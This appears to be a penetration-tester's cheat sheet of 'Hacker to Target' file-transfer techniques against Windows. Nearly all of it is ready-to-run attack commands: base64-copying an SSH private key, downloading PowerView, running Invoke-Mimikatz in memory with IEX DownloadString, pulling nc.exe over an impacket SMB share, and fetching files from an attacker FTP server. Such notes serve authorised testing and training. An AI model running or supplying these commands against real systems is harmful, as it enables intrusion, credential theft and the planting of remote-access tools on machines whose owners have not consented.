https://www.microsoft.com/en-us/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/



PowerShell Base64 Encode & Decode (From Hacker -> Target)

If we have terminal access we can use base64 encoding and decoding:


HACKER

$ md5sum id_rsa
$ cat id_rsa |base64 -w 0;echo
<BASE64>


VICTIM

PS C:\dotnetguard> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<BASE64>"))
PS C:\dotnetguard> Get-FileHash C:\Users\Public\id_rsa -Algorithm md5


Note: While this method is convenient, it's not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.


PowerShell Web Downloads (From Hacker -> Target)


MethodDescription
OpenReadReturns the data from a resource as a Stream.
OpenReadAsyncReturns the data from a resource without blocking the calling thread.
DownloadDataDownloads data from a resource and returns a Byte array.
DownloadDataAsyncDownloads data from a resource and returns a Byte array without blocking the calling thread.
DownloadFileDownloads data from a resource to a local file.
DownloadFileAsyncDownloads data from a resource to a local file without blocking the calling thread.
DownloadStringDownloads a String from a resource and returns a String.
DownloadStringAsyncDownloads a String from a resource without blocking the calling thread.


VICTIM

PS C:\dotnetguard> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')


PS C:\dotnetguard> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')


VICTIM

PS C:\dotnetguard> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')


PS C:\dotnetguard> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')



PowerShell DownloadString - Fileless Method (From Hacker -> Target)

Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX.


VICTIM

PS C:\dotnetguard> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')


VICTIM

PS C:\dotnetguard> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX



PowerShell Invoke-WebRequest

From PowerShell 3.0 onwards, the Invoke-WebRequest cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.


VICTIM

PS C:\dotnetguard> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1



Powershell Cradles : https://gist.github.com/HarmJ0y/bb48307ffa663256e239



SMB Downloads ( Hacker -> Target )

The Server Message Block protocol (SMB protocol) that runs on port TCP/445 is common in enterprise networks where Windows services are running. It enables applications and users to transfer files to and from remote servers.


HACKER

$ sudo impacket-smbserver share -smb2support /tmp/smbshare


VICTIM

C:\dotnetguard> copy \\192.168.220.133\share\nc.exe


Error1

C:\dotnetguard> copy \\192.168.220.133\share\nc.exe

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.


HACKER

$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test


VICTIM

C:\dotnetguard> net use n: \\192.168.220.133\share /user:test test
C:\dotnetguard> copy n:\nc.exe
 1 file(s) copied.



FTP Downloads ( Hacker -> Target )

Another way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.


HACKER

$ sudo pip3 install pyftpdlib
$ sudo python3 -m pyftpdlib --port 21


VICTIM

PS C:\dotnetguard> (New-Object Net.WebClient).DownloadFile('ftp://HACKER_IP/file.txt', 'C:\Users\Public\ftp-file.txt')



Non-Interactive Shell in Victim

C:\dotnetguard> echo open 192.168.49.128 > ftpcommand.txt
C:\dotnetguard> echo USER anonymous >> ftpcommand.txt
C:\dotnetguard> echo binary >> ftpcommand.txt
C:\dotnetguard> echo GET file.txt >> ftpcommand.txt
C:\dotnetguard> echo bye >> ftpcommand.txt
C:\dotnetguard> ftp -v -n -s:ftpcommand.txt

ftp> open 192.168.49.128

Log in with USER and PASS first.

ftp> USER anonymous

ftp> GET file.txt

ftp> bye

C:\dotnetguard>more file.txt

This is a test file